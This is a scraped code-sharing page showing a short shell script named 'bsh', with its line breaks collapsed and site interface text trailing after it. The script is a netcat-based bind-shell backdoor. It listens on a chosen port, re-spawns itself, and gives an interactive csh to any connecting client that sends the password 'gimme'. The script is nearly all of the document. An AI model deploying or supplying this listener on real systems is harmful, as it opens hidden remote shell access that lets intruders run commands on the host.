bsh

来自「very comprehensive example, windows WD」· 代码 · 共 30 行

TXT
30
字号
#! /bin/sh## a little wrapper to "password" and re-launch a shell-listener.## Arg is taken as the port to listen on.  Define "NC" to point wherever.NC=nccase "$1" in  ?* )  LPN="$1"  export LPN  sleep 1  echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &  echo "launched on port $LPN"  exit 0  ;;esac# here we play inetdecho "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &while read qq ; docase "$qq" in# here's yer password  gimme )  cd /  exec csh -i  ;;esacdone

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?